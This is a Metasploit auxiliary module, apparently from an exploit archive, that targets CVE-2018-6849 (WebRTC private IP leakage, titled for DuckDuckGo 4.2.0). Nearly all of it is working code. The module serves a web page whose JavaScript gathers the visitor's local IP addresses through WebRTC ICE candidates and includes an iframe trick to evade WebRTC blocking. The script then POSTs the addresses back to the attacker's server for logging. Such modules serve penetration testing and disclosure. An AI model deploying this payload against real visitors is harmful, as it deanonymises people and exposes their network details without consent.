DuckDuckGo 4.2.0 WebRTC Private IP Leakage

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => "Private IP Leakage to WebPage using WebRTC Function.",  
'Description' => %q(  
This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Brendan Coles', #MSF Module  
'Dhiraj Mishra' #MSF Module  
],  
'References' => [  
[ 'CVE', '2018-6849' ],  
['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html']  
],  
'DisclosureDate' => 'Jan 26 2018',  
'Actions' => [[ 'WebServer' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer'  
)  
)  
end  
  
def run  
exploit # start http server  
end  
  
def setup  
# code from: https://github.com/diafygi/webrtc-ips  
@html = <<-JS  
<script>  
//get the IP addresses associated with an account  
function getIPs(callback){  
var ip_dups = {};  
  
//compatibility for firefox and chrome  
var RTCPeerConnection = window.RTCPeerConnection  
|| window.mozRTCPeerConnection  
|| window.webkitRTCPeerConnection;  
var useWebKit = !!window.webkitRTCPeerConnection;  
  
//bypass naive webrtc blocking using an iframe  
if(!RTCPeerConnection){  
//NOTE: you need to have an iframe in the page right above the script tag  
//  
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>  
//<script>...getIPs called in here...  
//  
var win = iframe.contentWindow;  
RTCPeerConnection = win.RTCPeerConnection  
|| win.mozRTCPeerConnection  
|| win.webkitRTCPeerConnection;  
useWebKit = !!win.webkitRTCPeerConnection;  
}  
  
//minimal requirements for data connection  
var mediaConstraints = {  
optional: [{RtpDataChannels: true}]  
};  
  
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};  
  
//construct a new RTCPeerConnection  
var pc = new RTCPeerConnection(servers, mediaConstraints);  
  
function handleCandidate(candidate){  
//match just the IP address  
var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/  
var ip_addr = ip_regex.exec(candidate)[1];  
  
//remove duplicates  
if(ip_dups[ip_addr] === undefined)  
callback(ip_addr);  
  
ip_dups[ip_addr] = true;  
}  
  
//listen for candidate events  
pc.onicecandidate = function(ice){  
  
//skip non-candidate events  
if(ice.candidate)  
handleCandidate(ice.candidate.candidate);  
};  
  
//create a bogus data channel  
pc.createDataChannel("");  
  
//create an offer sdp  
pc.createOffer(function(result){  
  
//trigger the stun server request  
pc.setLocalDescription(result, function(){}, function(){});  
  
}, function(){});  
  
//wait for a while to let everything done  
setTimeout(function(){  
//read candidate info from local description  
var lines = pc.localDescription.sdp.split('\\n');  
  
lines.forEach(function(line){  
if(line.indexOf('a=candidate:') === 0)  
handleCandidate(line);  
});  
}, 1000);  
}  
  
getIPs(function(ip){  
//console.log(ip);  
var xmlhttp = new XMLHttpRequest;  
xmlhttp.open('POST', window.location, true);  
xmlhttp.send(ip);  
});  
</script>  
JS  
end  
  
def on_request_uri(cli, request)  
case request.method.downcase  
when 'get'  
print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")  
send_response(cli, @html)  
when 'post'  
print_status("#{cli.peerhost}: Received reply:")  
puts request.to_s  
else  
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")  
end  
end  
end  
`